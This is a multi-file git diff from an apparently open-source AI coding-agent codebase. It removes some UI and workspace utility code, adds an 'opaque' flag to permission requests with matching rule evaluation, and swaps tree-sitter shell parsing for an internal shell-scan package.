                   <Show when={parentID()}>
                     <button
                       type="button"
@@ -1442,47 +1203,6 @@ function MessageTimelineView(
                       placement="bottom"
                       buttonAppearance={props.data.newLayoutDesigns() ? "v2" : "default"}
                     />
-                    <Show when={props.data.newLayoutDesigns() && !parentID() && sync().project}>
-                      {(project) => (
-                        <KobaltePopover
-                          open={summaryOpen()}
-                          placement="bottom-end"
-                          gutter={6}
-                          onOpenChange={setSummary}
-                        >
-                          <KobaltePopover.Trigger
-                            as={IconButtonV2}
-                            icon={<IconV2 name="window-analytics" />}
-                            variant="ghost-muted"
-                            size="large"
-                            state={summaryOpen() ? "pressed" : undefined}
-                            aria-label={language.t("session.summary.title")}
-                            aria-expanded={summaryOpen()}
-                          />
-                          <KobaltePopover.Portal>
-                            <KobaltePopover.Content class="z-50 border-0 bg-transparent p-0 outline-none">
-                              <SessionSummaryPanel
-                                project={project()}
-                                directory={sessionDirectory()}
-                                local={!workspaceSession()}
-                                branch={sync().data.vcs?.branch}
-                                baseBranch={serverSync().child(project().worktree)[0].vcs?.branch}
-                                diffs={sessionDiffs()}
-                                sessionID={id}
-                                moveEligible={props.workspaceMoveEligible}
-                                messageID={props.userMessages.at(-1)?.id}
-                                moveDismissed={workspaceSuggestionDismissed()}
-                                onMoveDismiss={() => setWorkspaceSuggestionDismissed(true)}
-                                onReview={() => {
-                                  setSummary(false)
-                                  command.trigger("review.toggle")
-                                }}
-                              />
-                            </KobaltePopover.Content>
-                          </KobaltePopover.Portal>
-                        </KobaltePopover>
-                      )}
-                    </Show>
                     <Show when={!parentID()}>
                       <Show
                         when={props.data.newLayoutDesigns()}

packages/app/src/pages/session/timeline/projection.ts

@@ -32,8 +32,8 @@ export function createTimelineProjection(input: {
     })
     return result
   })
-  const projection = createMemo(() => {
-    return Timeline.constructSessionMessageRows(
+  const projection = createMemo(() =>
+    Timeline.constructSessionMessageRows(
       input.sessionMessages(),
       (messageID) => messageByID().get(messageID) as UserMessage | AssistantMessage | undefined,
       input.parts,
@@ -41,8 +41,8 @@ export function createTimelineProjection(input: {
       input.status().type,
       input.inlineComments(),
       input.userMessages(),
-    )
-  })
+    ),
+  )
   const activeMessageID = createMemo(() => projection().activeMessageID)
   const rows = createMemo((previous: TimelineRow.TimelineRow[] | undefined) =>
     reuseTimelineRows(previous, projection().rows),

packages/app/src/pages/session/timeline/timeline-row.ts

@@ -43,6 +43,7 @@ export namespace TimelineRow {
   export class Retry extends Data.TaggedClass("Retry")<{
     userMessageID: string
   }> {}
+
   export type TimelineRow =
     | TurnGap
     | CommentStrip

packages/app/src/pages/session/use-session-commands.tsx

@@ -13,8 +13,10 @@ import { useSync } from "@/context/sync"
 import { useTerminal } from "@/context/terminal"
 import { showToast } from "@/utils/toast"
 import { downloadSessionExport, fetchSessionExport, sessionExportFilename } from "@/utils/session-export"
+import { findLast } from "@opencode-ai/core/util/array"
 import { extractPromptFromParts } from "@/utils/prompt"
 import type { UserMessage } from "@/types"
+import { useLocal } from "@/context/local"
 import type { SessionController } from "./session-controller"
 
 type SessionCommandSource = {
@@ -56,6 +58,7 @@ export const useSessionCommands = (actions: SessionCommandContext) => {
   const sync = useSync()
   const terminal = useTerminal()
   const layout = useLayout()
+  const local = useLocal()
   const navigate = useNavigate()
   const openDialog = async <T,>(load: () => Promise<T>, show: (value: T) => void) => {
     const owner = actions.session.ownership.capture()
@@ -361,8 +364,6 @@ export const useSessionCommands = (actions: SessionCommandContext) => {
   }
 
   const fork = () => {
-    const sessionID = actions.session.identity.params.id
-    if (!sessionID) return
     void openDialog(
       () => import("@/components/dialog-fork"),
       (x) => dialog.show(() => <x.DialogFork />),

packages/app/src/pages/target-session-route.tsx

@@ -1,27 +0,0 @@
-import { createMemo, Show } from "solid-js"
-import { useParams } from "@solidjs/router"
-import { useGlobal } from "@/context/global"
-import { ServerConnection } from "@/context/server"
-import { ServerSDKProvider } from "@/context/server-sdk"
-import { ServerSyncProvider } from "@/context/server-sync"
-import { requireServerKey } from "@/utils/session-route"
-import { TargetSessionRouteContent } from "./session"
-
-export default function TargetSessionRoute() {
-  const params = useParams<{ serverKey: string }>()
-  const global = useGlobal()
-  const connection = createMemo(() => {
-    const key = requireServerKey(params.serverKey)
-    return global.servers.list().find((item) => ServerConnection.key(item) === key)
-  })
-
-  return (
-    <Show when={requireServerKey(params.serverKey)} keyed>
-      <ServerSDKProvider server={connection()}>
-        <ServerSyncProvider server={connection()}>
-          <TargetSessionRouteContent />
-        </ServerSyncProvider>
-      </ServerSDKProvider>
-    </Show>
-  )
-}

packages/app/src/utils/workspace.test.ts

@@ -1,118 +0,0 @@
-import { describe, expect, test } from "bun:test"
-import type { SessionInfo } from "@opencode-ai/client/promise"
-import {
-  filterWorkspaceInventory,
-  inspectWorkspaceDeletion,
-  isWorkspaceDirectory,
-  isWorkspaceSelection,
-  mergeWorkspaceSessionInventory,
-  sessionsForWorkspace,
-  workspaceInventory,
-} from "./workspace"
-
-describe("isWorkspaceDirectory", () => {
-  const project = {
-    worktree: "C:\\repo\\",
-    sandboxes: ["C:\\repo-workspaces\\feature\\", "C:\\repo-workspaces\\other"],
-  }
-
-  test("distinguishes managed workspaces from the local repository", () => {
-    expect(isWorkspaceDirectory(project, "C:\\repo")).toBe(false)
-    expect(isWorkspaceDirectory(project, "C:\\repo-workspaces\\feature")).toBe(true)
-    expect(isWorkspaceDirectory(project, "c:\\repo-workspaces\\feature\\packages\\app")).toBe(true)
-    expect(
-      isWorkspaceDirectory({ worktree: "/repo", sandboxes: ["/repo/.worktrees/feature"] }, "/repo/.worktrees/feature"),
-    ).toBe(true)
-    expect(isWorkspaceDirectory(project, "C:\\other")).toBe(false)
-    expect(isWorkspaceDirectory(undefined, "C:\\repo-workspaces\\feature")).toBe(false)
-  })
-})
-
-describe("isWorkspaceSelection", () => {
-  const project = { worktree: "/repo", sandboxes: ["/workspaces/feature"] }
-
-  test("accepts local, new, and managed workspace selections", () => {
-    expect(isWorkspaceSelection(project, "main")).toBe(true)
-    expect(isWorkspaceSelection(project, "create")).toBe(true)
-    expect(isWorkspaceSelection(project, "/repo/")).toBe(true)
-    expect(isWorkspaceSelection(project, "/workspaces/feature/")).toBe(true)
-    expect(isWorkspaceSelection({ worktree: "C:\\repo" }, "c:\\repo\\")).toBe(true)
-    expect(isWorkspaceSelection(project, "/other/workspace")).toBe(false)
-  })
-})
-
-test("groups and filters workspace inventory by project", () => {
-  const inventory = workspaceInventory([
-    { id: "a", worktree: "/a", sandboxes: ["/a", "/a/one", "/a/two"] },
-    { id: "b", worktree: "/b", sandboxes: ["/b/one"] },
-  ])
-
-  expect(inventory.map((item) => [item.project.id, item.directory])).toEqual([
-    ["a", "/a/one"],
-    ["a", "/a/two"],
-    ["b", "/b/one"],
-  ])
-  expect(filterWorkspaceInventory(inventory, "a").map((item) => item.directory)).toEqual(["/a/one", "/a/two"])
-  expect(filterWorkspaceInventory(inventory, "all")).toEqual(inventory)
-})
-
-test("blocks unsafe workspace deletion", () => {
-  const session = (directory: string) =>
-    ({ location: { directory }, time: { created: 1, updated: 1 } }) as SessionInfo
-  expect(
-    inspectWorkspaceDeletion({
-      workspace: "/workspace",
-      activeDirectory: "/workspace/app",
-      sessions: [],
-      status: "dirty",
-    }),
-  ).toBe("active")
-  expect(
-    inspectWorkspaceDeletion({
-      workspace: "/workspace",
-      sessions: [session("/workspace/packages/app")],
-      status: "dirty",
-    }),
-  ).toBe("linked")
-  expect(inspectWorkspaceDeletion({ workspace: "/workspace", sessions: [], status: "dirty" })).toBe("dirty")
-  expect(inspectWorkspaceDeletion({ workspace: "/workspace", sessions: [], status: "clean" })).toBe("safe")
-  expect(
-    inspectWorkspaceDeletion({
-      workspace: "/workspace",
-      sessions: [
-        { location: { directory: "/workspace" }, time: { created: 1, updated: 1, archived: 2 } } as SessionInfo,
-      ],
-      status: "clean",
-    }),
-  ).toBe("safe")
-})
-
-test("groups nested non-archived workspace sessions by latest activity", () => {
-  const session = (id: string, directory: string, updated: number, archived?: number) =>
-    ({ id, location: { directory }, time: { created: 1, updated, archived } }) as SessionInfo
-  const sessions = sessionsForWorkspace(
-    [
-      session("old", "/workspace", 2),
-      session("nested", "/workspace/packages/app", 3),
-      session("archived", "/workspace", 4, 5),
-      session("other", "/other", 6),
-    ],
-    "/workspace",
-  )
-  expect(sessions.map((item) => item.id)).toEqual(["nested", "old"])
-})
-
-test("merges workspace placement by freshness with authoritative server ties", () => {
-  const session = (directory: string, updated: number) =>
-    ({ id: "session", location: { directory }, time: { created: 1, updated } }) as SessionInfo
-
-  expect(
-    mergeWorkspaceSessionInventory([session("/destination", 3)], [session("/source", 2)])[0]?.location.directory,
-  ).toBe("/destination")
-  expect(
-    mergeWorkspaceSessionInventory([session("/destination", 3)], [session("/source", 3)])[0]?.location.directory,
-  ).toBe("/destination")
-  expect(
-    mergeWorkspaceSessionInventory([session("/destination", 2)], [session("/source", 3)])[0]?.location.directory,
-  ).toBe("/source")
-})

packages/app/src/utils/workspace.ts

@@ -1,100 +0,0 @@
-import { pathKey } from "@/utils/path-key"
-import type { WorkspaceDefaultDestination, WorkspaceLastUsed } from "@/context/settings"
-import type { SessionInfo } from "@opencode-ai/client/promise"
-
-type WorkspaceProject = { worktree: string; sandboxes?: readonly string[] }
-
-export function workspaceDirectories(project: WorkspaceProject) {
-  return (project.sandboxes ?? []).filter(
-    (directory) => !containsDirectory(project.worktree, directory) || !containsDirectory(directory, project.worktree),
-  )
-}
-
-export function workspaceInventory<T extends WorkspaceProject & { id: string }>(projects: readonly T[]) {
-  return projects.flatMap((project) => workspaceDirectories(project).map((directory) => ({ directory, project })))
-}
-
-export function filterWorkspaceInventory<T extends { project: { id: string } }>(
-  workspaces: readonly T[],
-  project: string,
-) {
-  if (project === "all") return [...workspaces]
-  return workspaces.filter((workspace) => workspace.project.id === project)
-}
-
-export function sessionsForWorkspace(sessions: readonly SessionInfo[], workspace: string) {
-  return sessions
-    .filter((session) => session.time.archived === undefined)
-    .filter((session) => containsDirectory(workspace, session.location.directory))
-    .toSorted((a, b) => b.time.updated - a.time.updated)
-}
-
-export function mergeWorkspaceSessionInventory(server: readonly SessionInfo[], cached: readonly SessionInfo[]) {
-  const sessions = new Map(server.map((session) => [session.id, session]))
-  cached.forEach((session) => {
-    const current = sessions.get(session.id)
-    if (!current || session.time.updated > current.time.updated) sessions.set(session.id, session)
-  })
-  return [...sessions.values()]
-}
-
-export function removeWorkspacesSequentially<T>(workspaces: readonly T[], remove: (workspace: T) => Promise<void>) {
-  return workspaces.reduce((previous, workspace) => previous.then(() => remove(workspace)), Promise.resolve())
-}
-
-export type WorkspaceDeleteInspection = "safe" | "active" | "linked" | "dirty"
-
-export function inspectWorkspaceDeletion(input: {
-  workspace: string
-  activeDirectory?: string
-  sessions: readonly SessionInfo[]
-  status: "clean" | "dirty"
-}): WorkspaceDeleteInspection {
-  if (input.activeDirectory && containsDirectory(input.workspace, input.activeDirectory)) return "active"
-  if (
-    input.sessions.some(
-      (session) =>
-        session.time.archived === undefined && containsDirectory(input.workspace, session.location.directory),
-    )
-  )
-    return "linked"
-  if (input.status === "dirty") return "dirty"
-  return "safe"
-}
-
-export function isWorkspaceDirectory(project: WorkspaceProject | undefined, directory: string) {
-  if (!project || (containsDirectory(project.worktree, directory) && containsDirectory(directory, project.worktree)))
-    return false
-  return workspaceDirectories(project).some((workspace) => containsDirectory(workspace, directory))
-}
-
-export function isProjectDirectory(project: WorkspaceProject | undefined, directory: string) {
-  if (!project) return false
-  return [project.worktree, ...(project.sandboxes ?? [])].some((root) => containsDirectory(root, directory))
-}
-
-export function containsDirectory(parent: string, child: string) {
-  const normalize = (value: string) => {
-    const key = pathKey(value)
-    return /^[a-z]:\//i.test(key) || key.startsWith("//") ? key.toLowerCase() : key
-  }
-  const root = normalize(parent)
-  const target = normalize(child)
-  return target === root || target.startsWith(root.endsWith("/") ? root : `${root}/`)
-}
-
-export function isWorkspaceSelection(project: WorkspaceProject | undefined, selection: string) {
-  if (selection === "main" || selection === "create") return true
-  if (!project) return false
-  if (containsDirectory(project.worktree, selection) && containsDirectory(selection, project.worktree)) return true
-  return isWorkspaceDirectory(project, selection)
-}
-
-export function workspaceDefaultSelection(
-  setting: WorkspaceDefaultDestination,
-  lastUsed: WorkspaceLastUsed | undefined,
-) {
-  if (setting === "local") return "main"
-  if (setting === "new") return "create"
-  return lastUsed === "workspace" ? "create" : "main"
-}

packages/cli/package.json

@@ -40,10 +40,7 @@
     "open": "10.1.2",
     "semver": "catalog:",
     "solid-js": "catalog:",
-    "tree-sitter-bash": "0.25.0",
-    "tree-sitter-powershell": "0.25.10",
     "uqr": "0.1.3",
-    "web-tree-sitter": "0.25.10",
     "ws": "8.21.0"
   },
   "devDependencies": {

packages/cli/script/node-assets.ts

@@ -3,7 +3,7 @@ import { copyFile, mkdir, readdir, readFile, stat } from "node:fs/promises"
 import path from "node:path"
 import { fileURLToPath } from "node:url"
 import { getNodeAssets } from "@opentui/core/node-assets"
-import { attentionSoundAssets, type NodeTarget, photonWasmAsset, shellParserWasmAssets } from "../src/node/target"
+import { attentionSoundAssets, type NodeTarget, photonWasmAsset } from "../src/node/target"
 
 const dir = path.resolve(import.meta.dirname, "..")
 
@@ -43,10 +43,6 @@ export async function collectNodeAssets(target: NodeTarget) {
       key: photonWasmAsset,
       source: fileURLToPath(import.meta.resolve(photonWasmAsset)),
     },
-    ...Object.values(shellParserWasmAssets).map((key) => ({
-      key,
-      source: fileURLToPath(import.meta.resolve(key)),
-    })),
     ...attentionSoundAssets.map((key) => ({
       key,
       source: path.resolve(dir, "../ui/src/assets/audio", path.basename(key)),

packages/cli/src/acp/permission.ts

@@ -47,7 +47,7 @@ export async function replyPermission(input: {
         locations: permissionLocations(toolName, toolInput, input.event.data.resources, input.cwd, previews),
         ...(previews.length > 0 ? { content: previews } : {}),
       },
-      options,
+      options: input.event.data.save?.length ? options : options.filter((option) => option.optionId !== "always"),
     })
     .catch(() => undefined)
   const selected = result?.outcome.outcome === "selected" ? result.outcome.optionId : undefined

packages/cli/src/node/target.ts

@@ -29,11 +29,6 @@ export function nodeTarget(platform: string, arch: string) {
 }
 
 export const photonWasmAsset = "@silvia-odwyer/photon-node/photon_rs_bg.wasm"
-export const shellParserWasmAssets = {
-  runtime: "web-tree-sitter/tree-sitter.wasm",
-  bash: "tree-sitter-bash/tree-sitter-bash.wasm",
-  powershell: "tree-sitter-powershell/tree-sitter-powershell.wasm",
-} as const
 export const nodeExecArgv = ["--experimental-ffi", "--use-system-ca", "--disable-warning=ExperimentalWarning"] as const
 
 export const attentionSoundAssets = [

packages/cli/test/acp/permission-behavior.test.ts

@@ -49,6 +49,7 @@ describe("acp permission behavior", () => {
         send(
           permissionAsked("ses_allow", "perm_always", {
             action: "read",
+            save: ["/workspace/file.ts"],
             metadata: { path: "/workspace/file.ts" },
             source: { type: "tool", messageID: "msg_allow", id: "call_always" },
           }),
@@ -84,10 +85,10 @@ describe("acp permission behavior", () => {
         },
         options: [
           { optionId: "once", kind: "allow_once", name: "Allow once" },
-          { optionId: "always", kind: "allow_always", name: "Always allow" },
           { optionId: "reject", kind: "reject_once", name: "Reject" },
         ],
       })
+      expect(permissionRequests[0]?.options.map((option) => option.optionId)).toEqual(["once", "reject"])
       expect(permissionRequests[1]).toMatchObject({
         sessionId: "ses_allow",
         toolCall: {
@@ -557,6 +558,7 @@ function permissionAsked(
   input: {
     readonly action?: string
     readonly metadata?: Record<string, unknown>
+    readonly save?: string[]
     readonly source?: { readonly type: "tool"; readonly messageID: string; readonly id: string }
   } = {},
 ) {
@@ -565,6 +567,7 @@ function permissionAsked(
     sessionID,
     action: input.action ?? "shell",
     resources: ["*"],
+    ...(input.save ? { save: input.save } : {}),
     metadata: input.metadata ?? { command: "printf hello" },
     ...(input.source ? { source: input.source } : {}),
   })

packages/cli/test/node-assets.test.ts

@@ -1,17 +1,10 @@
 import { expect, test } from "bun:test"
-import { fileURLToPath } from "node:url"
 import { collectNodeAssets } from "../script/node-assets"
-import { nodeTarget, shellParserWasmAssets } from "../src/node/target"
+import { nodeTarget } from "../src/node/target"
 
 test("collects each SEA asset key once", async () => {
   const assets = await collectNodeAssets(nodeTarget(process.platform, process.arch))
   const keys = assets.map((asset) => asset.key)
 
   expect(new Set(keys).size).toBe(keys.length)
-  expect(assets.filter((asset) => asset.key === shellParserWasmAssets.runtime)).toEqual([
-    {
-      key: shellParserWasmAssets.runtime,
-      source: fileURLToPath(import.meta.resolve(shellParserWasmAssets.runtime)),
-    },
-  ])
 })

packages/cli/vite.node.config.ts

@@ -3,7 +3,7 @@ import { readFile } from "node:fs/promises"
 import { createRequire } from "node:module"
 import { defineConfig, type Plugin, type UserConfig } from "vite"
 import solid from "vite-plugin-solid"
-import { nodeExecArgv, nodeTarget, type NodeTarget, photonWasmAsset, shellParserWasmAssets } from "./src/node/target"
+import { nodeExecArgv, nodeTarget, type NodeTarget, photonWasmAsset } from "./src/node/target"
 
 const dir = import.meta.dirname
 
@@ -212,9 +212,6 @@ process.env.OTUI_ASSET_ROOT = __ocAssetRoot
 process.env.OPENCODE_NODE_PTY_PATH = __ocPath.join(__ocAssetRoot, ${JSON.stringify(input.target.nodePtyEntryAsset)})
 process.env.OPENCODE_PARCEL_WATCHER_PATH = __ocPath.join(__ocAssetRoot, ${JSON.stringify(input.target.parcelWatcherAsset)})
 process.env.OPENCODE_PHOTON_WASM_PATH = __ocPath.join(__ocAssetRoot, ${JSON.stringify(photonWasmAsset)})
-process.env.OPENCODE_TREE_SITTER_WASM_PATH = __ocPath.join(__ocAssetRoot, ${JSON.stringify(shellParserWasmAssets.runtime)})
-process.env.OPENCODE_TREE_SITTER_BASH_WASM_PATH = __ocPath.join(__ocAssetRoot, ${JSON.stringify(shellParserWasmAssets.bash)})
-process.env.OPENCODE_TREE_SITTER_POWERSHELL_WASM_PATH = __ocPath.join(__ocAssetRoot, ${JSON.stringify(shellParserWasmAssets.powershell)})
 process.env.FFF_BINARY_PATH = __ocPath.join(__ocAssetRoot, ${JSON.stringify(input.target.fffAsset)})
 process.env.OPENCODE_FFF_FFI_PATH = __ocPath.join(__ocAssetRoot, ${JSON.stringify(input.target.fffFfiAsset)})
 try {

packages/client/src/effect/api/api.ts

@@ -1315,6 +1315,7 @@ export type Endpoint15_3Input = {
   readonly action: string
   readonly resources: ReadonlyArray<string>
   readonly save?: ReadonlyArray<string> | undefined
+  readonly opaque?: boolean | undefined
   readonly metadata?: { readonly [x: string]: unknown } | undefined
   readonly source?: Permission.Source | undefined
   readonly agent?: Agent.ID | undefined

packages/client/src/effect/generated/client.ts

@@ -982,6 +982,7 @@ const Endpoint15_3 = (raw: RawClient["server.permission"]) => (input: Endpoint15
         action: input["action"],
         resources: input["resources"],
         save: input["save"],
+        opaque: input["opaque"],
         metadata: input["metadata"],
         source: input["source"],
         agent: input["agent"],

packages/client/src/promise/generated/client.ts

@@ -1402,6 +1402,7 @@ export function make(options: ClientOptions) {
               action: input["action"],
               resources: input["resources"],
               save: input["save"],
+              opaque: input["opaque"],
               metadata: input["metadata"],
               source: input["source"],
               agent: input["agent"],

packages/client/src/promise/generated/types.ts

@@ -1379,6 +1379,7 @@ export type PermissionRequest = {
   action: string
   resources: Array<string>
   save?: Array<string>
+  opaque?: boolean
   metadata?: { [x: string]: JsonValue }
   source?: PermissionSource
 }
@@ -1395,6 +1396,7 @@ export type PermissionAsked = {
     action: string
     resources: Array<string>
     save?: Array<string>
+    opaque?: boolean
     metadata?: { [x: string]: any }
     source?: PermissionSource
   }
@@ -5239,6 +5241,7 @@ export type PermissionCreateInput = {
     readonly action: string
     readonly resources: ReadonlyArray<string>
     readonly save?: ReadonlyArray<string>
+    readonly opaque?: boolean
     readonly metadata?: { readonly [x: string]: JsonValue }
     readonly source?: { readonly type: "tool"; readonly messageID: string; readonly id: string }
     readonly agent?: string | null
@@ -5248,6 +5251,7 @@ export type PermissionCreateInput = {
     readonly action: string
     readonly resources: ReadonlyArray<string>
     readonly save?: ReadonlyArray<string>
+    readonly opaque?: boolean
     readonly metadata?: { readonly [x: string]: JsonValue }
     readonly source?: { readonly type: "tool"; readonly messageID: string; readonly id: string }
     readonly agent?: string | null
@@ -5257,6 +5261,7 @@ export type PermissionCreateInput = {
     readonly action: string
     readonly resources: ReadonlyArray<string>
     readonly save?: ReadonlyArray<string>
+    readonly opaque?: boolean
     readonly metadata?: { readonly [x: string]: JsonValue }
     readonly source?: { readonly type: "tool"; readonly messageID: string; readonly id: string }
     readonly agent?: string | null
@@ -5266,15 +5271,27 @@ export type PermissionCreateInput = {
     readonly action: string
     readonly resources: ReadonlyArray<string>
     readonly save?: ReadonlyArray<string>
+    readonly opaque?: boolean
     readonly metadata?: { readonly [x: string]: JsonValue }
     readonly source?: { readonly type: "tool"; readonly messageID: string; readonly id: string }
     readonly agent?: string | null
   }["save"]
+  readonly opaque?: {
+    readonly id?: string | null
+    readonly action: string
+    readonly resources: ReadonlyArray<string>
+    readonly save?: ReadonlyArray<string>
+    readonly opaque?: boolean
+    readonly metadata?: { readonly [x: string]: JsonValue }
+    readonly source?: { readonly type: "tool"; readonly messageID: string; readonly id: string }
+    readonly agent?: string | null
+  }["opaque"]
   readonly metadata?: {
     readonly id?: string | null
     readonly action: string
     readonly resources: ReadonlyArray<string>
     readonly save?: ReadonlyArray<string>
+    readonly opaque?: boolean
     readonly metadata?: { readonly [x: string]: JsonValue }
     readonly source?: { readonly type: "tool"; readonly messageID: string; readonly id: string }
     readonly agent?: string | null
@@ -5284,6 +5301,7 @@ export type PermissionCreateInput = {
     readonly action: string
     readonly resources: ReadonlyArray<string>
     readonly save?: ReadonlyArray<string>
+    readonly opaque?: boolean
     readonly metadata?: { readonly [x: string]: JsonValue }
     readonly source?: { readonly type: "tool"; readonly messageID: string; readonly id: string }
     readonly agent?: string | null
@@ -5293,6 +5311,7 @@ export type PermissionCreateInput = {
     readonly action: string
     readonly resources: ReadonlyArray<string>
     readonly save?: ReadonlyArray<string>
+    readonly opaque?: boolean
     readonly metadata?: { readonly [x: string]: JsonValue }
     readonly source?: { readonly type: "tool"; readonly messageID: string; readonly id: string }
     readonly agent?: string | null

packages/core/package.json

@@ -53,12 +53,6 @@
       "node": "./src/image/photon-wasm.node.ts",
       "default": "./src/image/photon-wasm.bun.ts"
     },
-    "#shell-parser-wasm": {
-      "workerd": "./src/shell/parser-wasm.workerd.ts",
-      "bun": "./src/shell/parser-wasm.bun.ts",
-      "node": "./src/shell/parser-wasm.node.ts",
-      "default": "./src/shell/parser-wasm.bun.ts"
-    },
     "#process-lock-ffi": {
       "workerd": "./src/util/process-lock-ffi.workerd.ts",
       "bun": "./src/util/process-lock-ffi.bun.ts",
@@ -81,6 +75,7 @@
     "@types/node": "catalog:",
     "@types/turndown": "5.0.5",
     "@types/which": "3.0.4",
+    "@opencode-ai/shell-scan": "workspace:*",
     "@parcel/watcher-darwin-arm64": "2.5.1",
     "@parcel/watcher-darwin-x64": "2.5.1",
     "@parcel/watcher-linux-arm64-glibc": "2.5.1",
@@ -138,10 +133,7 @@
     "jsonc-parser": "3.3.1",
     "mime-types": "3.0.2",
     "turndown": "7.2.0",
-    "tree-sitter-bash": "0.25.0",
-    "tree-sitter-powershell": "0.25.10",
     "venice-ai-sdk-provider": "2.1.1",
-    "web-tree-sitter": "0.25.10",
     "which": "6.0.1",
     "zod": "catalog:"
   }

packages/core/script/build.ts

@@ -19,7 +19,17 @@ const result = await Bun.build({
   target: "node",
   format: "esm",
   packages: "external",
-  external: ["#sqlite", "#pty", "#fff", "#photon-wasm", "#shell-parser-wasm", "#process-lock-ffi", "#v1-migration"],
+  external: ["#sqlite", "#pty", "#fff", "#photon-wasm", "#process-lock-ffi", "#v1-migration"],
+  plugins: [
+    {
+      name: "bundle-shell-scan",
+      setup(build) {
+        build.onResolve({ filter: /^@opencode-ai\/shell-scan$/ }, () => ({
+          path: path.resolve("../shell-scan/src/index.ts"),
+        }))
+      },
+    },
+  ],
   splitting: true,
   loader: {
     ".txt": "text",

packages/core/src/permission.ts

@@ -1,7 +1,7 @@
 export * as Permission from "./permission.js"
 
 import { makeLocationNode } from "@opencode-ai/util/effect/app-node"
-import { Context, Deferred, Effect, Layer, Schema } from "effect"
+import { Context, Deferred, Effect, Layer, Schema, Struct } from "effect"
 import { Permission } from "@opencode-ai/schema/permission"
 import { Bus } from "./bus.js"
 import { Location } from "./location.js"
@@ -23,15 +23,6 @@ export type ID = typeof ID.Type
 export const Source = Permission.Source
 export type Source = typeof Source.Type
 
-const RequestFields = {
-  sessionID: Permission.Request.fields.sessionID,
-  action: Permission.Request.fields.action,
-  resources: Permission.Request.fields.resources,
-  save: Permission.Request.fields.save,
-  metadata: Permission.Request.fields.metadata,
-  source: Permission.Request.fields.source,
-}
-
 export const Request = Permission.Request
 export type Request = typeof Request.Type
 
@@ -40,7 +31,7 @@ export type Reply = typeof Reply.Type
 
 export const AssertInput = Schema.Struct({
   id: ID.pipe(Schema.optional),
-  ...RequestFields,
+  ...Struct.omit(Permission.Request.fields, ["id"]),
   agent: Agent.ID.pipe(Schema.optional),
 }).annotate({ identifier: "Permission.AssertInput" })
 export type AssertInput = typeof AssertInput.Type
@@ -94,6 +85,16 @@ export function evaluate(action: string, resource: string, ...rulesets: Permissi
   )
 }
 
+function evaluateOpaque(action: string, rules: Permission.Ruleset): Permission.Rule {
+  return (
+    rules.findLast((rule) => Wildcard.match(action, rule.action) && rule.resource === "*") ?? {
+      action,
+      resource: "*",
+      effect: "ask",
+    }
+  )
+}
+
 export function merge(...rulesets: Permission.Ruleset[]): Permission.Ruleset {
   return rulesets.flat()
 }
@@ -178,6 +179,13 @@ const layer = Layer.effect(
     })
 
     function denied(input: AssertInput, rules: Permission.Ruleset) {
+      if (input.opaque)
+        return rules.some(
+          (rule) =>
+            rule.effect === "deny" &&
+            Wildcard.match(input.action, rule.action) &&
+            input.resources.some((resource) => resource === "*" || Wildcard.match(resource, rule.resource)),
+        )
       return input.resources.some((resource) => evaluate(input.action, resource, rules).effect === "deny")
     }
 
@@ -187,9 +195,19 @@ const layer = Layer.effect(
 
     const evaluateInput = Effect.fnUntraced(function* (input: AssertInput) {
       const rules = yield* configured(input.sessionID, input.agent)
+      if (input.resources.length === 0) return { effect: "deny" as const, rules }
       if (denied(input, rules)) return { effect: "deny" as const, rules }
+      if (
+        input.opaque &&
+        rules.some(
+          (rule) => rule.effect !== "allow" && rule.resource !== "*" && Wildcard.match(input.action, rule.action),
+        )
+      )
+        return { effect: "ask" as const, rules }
       const all = [...rules, ...(yield* savedRules())]
-      const effects = input.resources.map((resource) => evaluate(input.action, resource, all).effect)
+      const effects = input.opaque
+        ? [evaluateOpaque(input.action, all).effect]
+        : input.resources.map((resource) => evaluate(input.action, resource, all).effect)
       const effect: Permission.Effect = effects.includes("deny") ? "deny" : effects.includes("ask") ? "ask" : "allow"
       return { effect, rules: all }
     })
@@ -200,7 +218,8 @@ const layer = Layer.effect(
         sessionID: input.sessionID,
         action: input.action,
         resources: input.resources,
-        save: input.save,
+        save: input.opaque ? undefined : input.save,
+        opaque: input.opaque,
         metadata: input.metadata,
         source: input.source,
       }
@@ -299,21 +318,11 @@ const layer = Layer.effect(
           pending.delete(input.requestID)
           if (input.reply !== "always" || !existing.request.save?.length) return
 
-          const rememberedRules = yield* savedRules()
           for (const [id, item] of pending) {
-            const input = { ...item.request }
-            const rules = yield* configured(item.request.sessionID, item.agent).pipe(
+            const result = yield* evaluateInput({ ...item.request, agent: item.agent }).pipe(
               Effect.catchTag("Session.NotFoundError", () => Effect.succeed(undefined)),
             )
-            if (!rules) continue
-            if (denied(input, rules)) continue
-            const effective = [...rules, ...rememberedRules]
-            if (
-              !item.request.resources.every(
-                (resource) => evaluate(item.request.action, resource, effective).effect === "allow",
-              )
-            )
-              continue
+            if (!result || result.effect !== "allow") continue
             yield* bus.publish(Permission.Event.Replied, {
               sessionID: item.request.sessionID,
               requestID: item.request.id,

packages/core/src/shell/parse.ts

@@ -1,15 +1,12 @@
 export * as ShellParse from "./parse.js"
 
 import { Effect } from "effect"
-import { fileURLToPath } from "url"
+import { ShellScan } from "@opencode-ai/shell-scan"
 import os from "os"
 import path from "path"
-import type { Node } from "web-tree-sitter"
-import { shellParserWasm } from "#shell-parser-wasm"
 import { ShellSelect } from "./select.js"
 
-type Part = { type: string; text: string }
-const CWD = new Set(["cd", "chdir", "popd", "pushd", "push-location", "set-location"])
+const CWD = new Set(["cd", "chdir", "popd", "pushd", "push-location", "set-location", "sl"])
 const POWERSHELL_PATH_FLAGS = new Set(["-literalpath", "-path"])
 
 const ARITY: Record<string, number> = {
@@ -153,77 +150,71 @@ const ARITY: Record<string, number> = {
 }
 
 export const scan = Effect.fn("ShellParse.scan")(function* (command: string, shell: string, cwd: string) {
-  const parsers = yield* Effect.promise(load)
-  const powershell = ShellSelect.ps(shell)
-  const tree = (powershell ? parsers.ps : parsers.bash).parse(command)
-  if (!tree) return yield* Effect.fail(new Error("Failed to parse shell command"))
-
-  return yield* Effect.acquireUseRelease(
-    Effect.succeed(tree),
-    (tree) =>
-      Effect.sync(() =>
-        tree.rootNode.descendantsOfType("command").reduce(
-          (result, node) => {
-            if (!node) return result
-            const command = parts(node)
-            const tokens = command.map((part) => part.text)
-            if (tokens.length === 0) return result
-            const name = powershell ? tokens[0].toLowerCase() : tokens[0]
-            if (CWD.has(name)) {
-              result.directories.push(...directoryArgs(command, powershell, cwd, shell))
-              return result
-            }
-            result.commands.push({
-              resource: (node.parent?.type === "redirected_statement" ? node.parent.text : node.text).trim(),
-              save: `${prefix(tokens).join(" ")} *`,
-            })
-            return result
-          },
